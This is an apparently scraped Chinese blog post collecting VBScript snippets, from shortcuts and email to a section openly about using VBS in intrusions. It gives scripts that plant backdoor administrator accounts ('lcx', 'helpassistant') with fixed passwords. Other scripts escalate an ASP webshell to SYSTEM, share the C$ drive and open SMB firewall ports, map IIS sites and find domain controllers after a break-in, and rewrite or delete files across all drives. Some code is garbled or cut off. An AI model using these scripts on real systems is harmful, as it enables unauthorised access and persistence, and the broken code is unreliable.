VBS脚本常用经典代码收集
2010年06月21日
1. 计算
2. 处理文件和文件夹
3. 管理Windows
4. 处理Word, Excel, PowerPoint等Office文档
5. 嵌入网页,驱动dHTML
6. 编写HTTP通信
7. 调用系统功能(COM组件),比如说语音说话
8. 分析HTML, XML
9. 调用命令行并分析返回结果
10. 处理图片
11. 自动化按键
12. 调用Windows Media Player并管理
13. 调用Windows Live Messenger并管理
14. 服务端技术:Active Server Page (ASP)
15. 脚本病毒
16. 处理数据库
VBS获取系统安装路径
先定义这个变量是获取系统安装路径的,然后我们用"&strWinDir&"调用这个变量。
set gangzi = WScript.CreateObject("WScript.Shell") strDesktop = gangzi.SpecialFolders("Desktop") set oShellLink = gangzi.CreateShortcut(strDesktop & "\Internet Explorer.lnk") oShellLink.TargetPath = "http://www.fendou.info" oShellLink.Description = "Internet Explorer" oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" oShellLink.Save
Const ADMINISTRATIVE_TOOLS = 6 Set objShell = CreateObject("Shell.Application") Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS) Set objFolderItem = objFolder.Self Set objShell = WScript.CreateObject("WScript.Shell") strDesktopFld = objFolderItem.Path Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\奋斗Blog.url") objURLShortcut.TargetPath = "http://www.fendou.info/" objURLShortcut.Save
NameSpace = "http://schemas.microsoft.com/cdo/configuration/" Set Email = CreateObject("CDO.Message") Email.From = "发件@qq.com" Email.To = "收件@qq.com" Email.Subject = "Test sendmail.vbs" Email.Textbody = "OK!" Email.AddAttachment "C:\1.txt" With Email.Configuration.Fields .Item(NameSpace&"sendusing") = 2 .Item(NameSpace&"smtpserver") = "smtp.邮件服务器.com" .Item(NameSpace&"smtpserverport") = 25 .Item(NameSpace&"smtpauthenticate") = 1 .Item(NameSpace&"sendusername") = "发件人用户名" .Item(NameSpace&"sendpassword") = "发件人密码" .Update End With Email.Send
VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)
兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。
On Error Resume Next Dim fPath strComputer = "." Set objWMIService = GetObject _ ("winmgmts:\\" & strComputer & "\root\cimv2") Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name = 'gangzi.exe'") For Each objProcess in colProcessList objProcess.Terminate() Next Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set colDirs = objWMIService. _ ExecQuery("Select * from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE '%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE '%i:%'") Set objFSO = CreateObject("Scripting.FileSystemObject") For Each objDir in colDirs fPath = objDir.Name & "\gangzi.exe" objFSO.DeleteFile(fPath), True Next
VBS遍历所有磁盘的所有目录,找到所有.txt的文件,然后给所有txt文件最底部加一句话
On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Co = VbCrLf & "路过。。。" For Each i In fso.Drives If i.DriveType = 2 Then GF fso.GetFolder(i & "\") End If Next Sub GF(fol) Wh fol Dim i For Each i In fol.SubFolders GF i Next End Sub Sub Wh(fol) Dim i For Each i In fol.Files If LCase(fso.GetExtensionName(i)) = "shtml" Then fso.OpenTextFile(i,8,0).Write Co End If Next End Sub
On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set gangzis=fso.Drives '取得当前计算机的所有磁盘驱动器 For Each gangzi In gangzis '遍历磁盘 Set TestFile=fso.CreateTextFile(""&gangzi&"\新建文件夹.vbs",Ture) TestFile.WriteLine("By www.gangzi.org") TestFile.Close Next
set fs = CreateObject("Scripting.FileSystemObject") for each drive in fs.drives fstraversal drive.rootfolder next sub fstraversal(byval this) for each folder in this.subfolders fstraversal folder next set files = this.files for each file in files if file.name = "123.exe" then file.name = "321.exe" next end sub
VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)
On Error Resume Next str="我是笨蛋/qq" Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.run "mshta vbscript:clipboardData.SetData("+""""+"text"+""""+ ","+""""&str&""""+")(close)",0 WshShell.run "tencent://message/?Menu=yes&uin=20016964&Site=&Se rvice=200&sigT=2a39fb276d15586e1114e71f7af38e195148 b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,tru e WScript.Sleep 3000 WshShell.SendKeys "^v" WshShell.SendKeys "%s"
VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)
VBS创建.URL文件(IconIndex参数不同的数字代表不同的图标,具体请参照SHELL32.dll里面的所有图标)
set fso=createobject("scripting.filesystemobject") qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10) qidong=qidong&"URL=http://www.fendou.info"&Chr(13) &Chr(10) qidong=qidong&"IconFile=C:\WINDOWS\system32\SHELL3 2.dll"&Chr(13)&Chr(10) qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10) Set TestFile=fso.CreateTextFile("qq.url",Ture) TestFile.WriteLine(qidong) TestFile.Close
Dim fso,TestFile,fileName,drvName,fldName drvName=inputbox("Enter the drive to save to:","Drive letter") fldName=inputbox("Enter the folder name:","Folder name") fileName=inputbox("Enter the name of the file:","Filename") Set fso=CreateObject("Scripting.FileSystemObject") If(fso.FolderExists(drvName&fldName))Then msgbox("Folder exists") Else Set fld=fso.CreateFolder(drvName&fldName) End If Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fi leName&".txt",True) TestFile.WriteLine("Hello,World!") TestFile.Close
Dim fso,TestFile,fileName,drvName,fldName drvName=inputbox("Enter the drive to save to:","Drive letter") fldName=inputbox("Enter the folder name:","Folder name") fileName=inputbox("Enter the name of the file:","Filename") Set fso=CreateObject("Scripting.FileSystemObject") If(fso.FolderExists(drvName&fldName))Then msgbox("Folder exists") Else Set fld=fso.CreateFolder(drvName&fldName) End If If(fso.FileExists(drvName&fldName&"\"&fileName&".t xt"))Then msgbox("File already exists.") Else Set TestFile=fso.CreateTextFile(drvName&fldName&"\"&fi leName&".txt",True) TestFile.WriteLine("Hello,World!") TestFile.Close End If
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject") Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1表示只读,2表示可写,8表示追加 openFile.Write "Hello World!" openFile.Close
Dim fso,openFile Set fso=CreateObject("Scripting.FileSystemObject") Set openFile=fso.OpenTextFile("C:\test.txt",1,True) MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。
Function Encode(strPass) Dim i, theStr, strTmp For i = 1 To Len(strPass) strTmp = Asc(Mid(strPass, i, 1)) theStr = theStr & Abs(strTmp) Next strPass = theStr theStr = "" Do While Len(strPass) > 16 strPass = JoinCutStr(strPass) Loop For i = 1 To Len(strPass) strTmp = CInt(Mid(strPass, i, 1)) strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp) theStr = theStr & strTmp Next Encode = theStr End Function Function JoinCutStr(str) Dim i, theStr For i = 1 To Len(str) If Len(str) - i = 0 Then Exit For theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2)) i = i + 1 Next JoinCutStr = theStr End Function Function IIf(var, val1, val2) If var = True Then IIf = val1 Else IIf = val2 End If End Function Set mc=GetObject("Winmgmts:").InstancesOf("Win32_Netwo rkAdapterConfiguration") For Each mo In mc If mo.IPEnabled=True Then theStr = mo.MacAddress Exit For End If Next Randomize Encode(theStr) rdnum=Int(10*Rnd+5) Function allRand(n) For i=1 to n Randomize Encode(theStr) temp = cint(25*Rnd) If temp mod 2 = 0 then temp = temp + 97 ElseIf temp VBS每隔3秒自动更换IP并打开网址实例(值得一提的是,下面这个代码中每次打开的网址都是引用同一个IE窗口,也就是每次打开的是覆盖上次打开的窗口,如果需要每次打开的网址都是新窗口,直接使用run就可以了)
Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Set oIE = CreateObject("InternetExplorer.Application") for i=1 to 5 wsh.run "Rasdial /DISCONNECT",false,1 wsh.run "Rasdial 连接名字 账号 密码",false,1 oIE.Navigate "http://www.ip138.com/?"&i&"" Call SynchronizeIE oIE.Visible = True next Sub SynchronizeIE On Error Resume Next Do While(oIE.Busy) WScript.Sleep 3000 Loop End Sub
用VBS来加管理员帐号
在注入过程中明明有了sa帐号,但是由于net.exe和net1.exe被限制,或其它的不明原因,总是加不了管理员帐号。VBS在活动目录(adsi)部份有一个winnt对像,可以用来管理本地资源,可以用它不依靠cmd等命令来加一个管理员,详细代码如下:
set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) '得到adsi接口,绑定 Set oe=GetObject(os&"/Administrators,group") '属性,admin组 Set od=ob.Create("user","lcx") '建立用户 od.SetPassword "123456" '设置密码 od.SetInfo '保存 Set of=GetObject(os&"/lcx",user) '得到用户 oe.add os&"/lcx"
这段代码如果保存为1.vbs,在cmd下运行,格式: cscript 1.vbs的话,会在当前系统加一个名字为lcx,密码为123456的管理员。当然,你可以用记事本来修改里边的变量lcx和123456,改成你喜欢的名字和密码值。
用vbs来列虚拟主机的物理目录
有时旁注入侵成功一个站,拿到系统权限后,面对上百个虚拟主机,怎样才能更快的找到我们目标站的物理目录呢?一个站一个站翻看太累,用系统自带的adsutil.vbs吧又感觉好像参数很多,有点无法下手的感觉,试试我这个脚本吧,代码如下:
Set ObjService=GetObject("IIS://LocalHost/W3SVC") For Each obj3w In objservice If IsNumeric(obj3w.Name) Then sServerName=Obj3w.ServerComment Set webSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name & "/Root") ListAllWeb = ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ") & obj3w.ServerComment & "(" & webSite.Path & ")" & vbCrLf End If Next WScript.Echo ListAllWeb Set ObjService=Nothing WScript.Quit
运行cscript 2.vbs后,就会详细列出IIS里的站点ID、描述、及物理目录,是不是代码少很多又方便呢?
用VBS快速找到内网域的主服务器
面对域结构的内网,可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码,整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上,如果能搞定其中的一台或几台,放个密码记录器之类,相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了,如何在成千台机器里判断出是哪一台呢?dos命令像net group "domain admins" /domain可以做为一个判断的标准,不过vbs也可以做到的,这仍然属于adsi部份的内容,代码如下:
只用这两句代码就足够了,运行cscript 3.vbs,会有结果的。当然,无论是dos命令或vbs,你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码,你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell,或你的木马本来就是与桌面交互的,登陆你木马shell的又是域用户,就可以直接运行这些命令了。
vbs的在入侵中的作用当然不只这些,当然用js或其它工具也可以实现我上述代码的功能;不过这个专栏定下的题目是vbs在hacking中的妙用,所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目,争取为读者带来好的有用的文章。
WebShell提权用的VBS代码
asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下:
set wsh=createobject("wscript.shell") '创建一个wsh对象 a=wsh.run ("cmd.exe /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps C:\WINNT\system32\inetsrv\httpext.dll C:\WINNT\system32\inetsrv\httpodbc.dll C:\WINNT\system32\inetsrv\ssinc.dll C:\WINNT\system32\msw3prt.dll C:\winnt\system32\inetsrv\asp.dll",0) '加入asp.dll到InProcessIsapiApps中
将其保存为vbs的后缀,再上传到服务上,
然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧,你会发现自己己经是system权限了
Dim OperationRegistry Set OperationRegistry=WScript.CreateObject("WScript.Sh ell") OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contr ol\Lsa\forceguest",0 Set wsh3=wscript.createobject("wscript.shell") wsh3.Run "net user helpassistant 123456",0,false wsh3.Run "net user helpassistant /active",0,false wsh3.Run "net localgroup administrators helpassistant /add",0,false wsh3.Run "net start Lanmanworkstation /y",0,false wsh3.Run "net start Lanmanserver /y",0,false wsh3.Run "net start ipc$",0,True wsh3.Run "net share c$=c:\",0,false wsh3.Run "netsh firewall set notifications disable",0,True wsh3.Run "netsh firewall set portopening TCP 139 enable",0,false wsh3.Run "netsh firewall set portopening UDP 139 enable",0,false wsh3.Run "netsh firewall set portopening TCP 445 enable",0,false wsh3.Run "netsh firewall set portopening UDP 445 enable",0,false
Digital=time hours=Hour(Digital) minutes=Minute(Digital) seconds=Second(Digital) if (hours=6) then dn="早上好!" end if if (hours>12) then dn="下午好!" end if if (hours>18) then dn="晚上好!" end if if (hours>22) then dn="不早了,夜深了,该睡觉了!" end if if (minutes<=9) then minutes="0" & minutes end if if (seconds<=9) then seconds="0" & seconds end if ctime=hours & ":" & minutes & ":" & seconds & " " & dn Msgbox ctime
Dim OperationRegistry , mynum Set OperationRegistry=WScript.CreateObject("WScript.Sh ell") mynum = 9 mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYST EM\CurrentControlSet\Control\Lsa\forceguest") MsgBox("before forceguest = "&mynum) OperationRegistry.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contr ol\Lsa\forceguest",0 mynum = OperationRegistry.RegRead("HKEY_LOCAL_MACHINE\SYST EM\CurrentControlSet\Control\Lsa\forceguest") MsgBox("after forceguest = "&mynum)
发表评论
-
Flex文件上传
2012-01-20 01:29 702Flex文件上传 2010年06月06日 今天花了一点时 ... -
Flex + BlazeDS 学习笔记 (一) --- BlazeDS的功能原理及配置实例
2012-01-20 01:29 692Flex + BlazeDS 学习笔记 (一) --- Bla ... -
Flex与.net交互
2012-01-20 01:29 630Flex与.net交互 2010年07月14日 方法一: ... -
vb+Flex的关于FlashPlayer的检测
2012-01-20 01:29 561vb+Flex的关于FlashPlayer的 ... -
liunx编译android源码参考
2012-01-19 09:19 623liunx编译android源码参考 2011年10月20日 ... -
RHEL使用Centos的YUM源
2012-01-19 09:19 719RHEL使用Centos的YUM源 2011年11月04日 ... -
RedHat 6.0使用CentOS YUM源更新的方法
2012-01-19 09:19 1152RedHat 6.0使用CentOS YUM源更新的方法 2 ... -
Google Chrome涉及到开源代码列表
2012-01-19 09:19 1020Google Chrome涉及到开源代码列表 2010年07 ... -
ubuntu速配指南之热门设置
2012-01-19 09:19 749ubuntu速配指南之热门设 ... -
VS6.0安装总结(重启开机dll文件提示找不到的解决办法)
2012-01-17 01:53 2131VS6.0安装总结(重启开机d ... -
西门子网络问题解答
2012-01-17 01:53 2120西门子网络问题解答 2011年07月20日 SIMATI ... -
System32下每个DLL的作用
2012-01-17 01:53 1954System32下每个DLL的作用 ... -
2011-10-10program
2012-01-17 01:53 4432011-10-10program 2011年10月10日 ... -
MFC对话框程序基础复习001
2012-01-17 01:53 721MFC对话框程序基础复习001 2011年04月23日 ... -
Flex Builder3+FDT3 环境配置
2012-01-15 21:03 630Flex Builder3+FDT3 环境配置 2010年0 ... -
在Eclipse下使用Ant编译Flex程序
2012-01-15 21:03 627在Eclipse下使用Ant编译Flex程序 2010年04 ... -
什么是RIA AIR Flex,给你一次扫盲个够
2012-01-15 21:03 599什么是RIA AIR Flex,给你一次扫盲个够 2009年 ... -
Flex超酷皮肤主题推荐
2012-01-15 21:03 756Flex超酷皮肤主题推荐 2009年07月29日 当程序 ... -
学习Flex 和BlazeDS的十三个理由
2012-01-15 21:03 588学习Flex 和BlazeDS的十三 ...
相关推荐
VBS脚本常用代码大全2011整理.pdf
VBS脚本经典代码收集,一些常用的VBS代码搜集以及整理、方便复用
压缩文件中包含了近100个本人收集和实际应用的所有脚本,代码详细,涉及Windows账号,AD域管理,操作系统,注册表,文件读写,网络,端口扫描等等vbs代码,经典快下哦,vbs交流请加群70539804,本人是群主
VBS脚本编程经典教材
Qt工程,c++代码调用vbs脚本函数,一个很简单的demo,参考学习
WinCC常用的C脚本和VBS脚本对变量进行置位,复位,取反,读写变量;
windows常用bat/vbs脚本合集,2017年06月09日版本
wincc vbs脚本手册 西门子 组态 脚本
VBS实例 44个 vbs脚本实例, VBS取QQ-TM号码的自动登录命令行.vbs 妙用脚本清除电脑中的痕迹.vbs 后台字典文件管理器.vbs 定时关机.vbs 列出管理工具集.vbs 旁注查询工具.vbs 中文姓名笔画计算(VBS脚本版).vbs ...
Vbs脚本程序的经典教材,如果想学学VBScript可以看看
wincc VBS脚本加密破解
VBS脚本运行库手册之一(磁盘操作) VBS脚本运行库手册之二(磁盘操作) VBS脚本运行库手册之三(管理文件夹) VBS脚本运行库手册之四(管理文件夹) VBS脚本运行库手册之五(文件夹属性) VBS脚本运行库手册之...
helloworld vbs 脚本hellohelloworld vbs 脚本world vbs 脚本helloworld vbs 脚本helloworld vbs 脚本helloworld vbs 脚本
整人的代码哦,vbs脚本运行,可以修改扩展名为txt进行修改
文档中是使用QTP经常用到的VBS脚本,生成随机函数、防程序中断、关闭所有的IE等等
Vbs脚本编程简明教程Vbs脚本编程简明教程Vbs脚本编程简明教程Vbs脚本编程简明教程Vbs脚本编程简明教程
TIA Portal WinCC Engineering V17 – VBS脚本编程参考手册
c#(winform)调用VBS脚本 c#(winform)调用VBS脚本
vbs脚本,设置默认打印机, 服务器管理员可以用于用户登录后指定默认打印机.
vbs脚本手册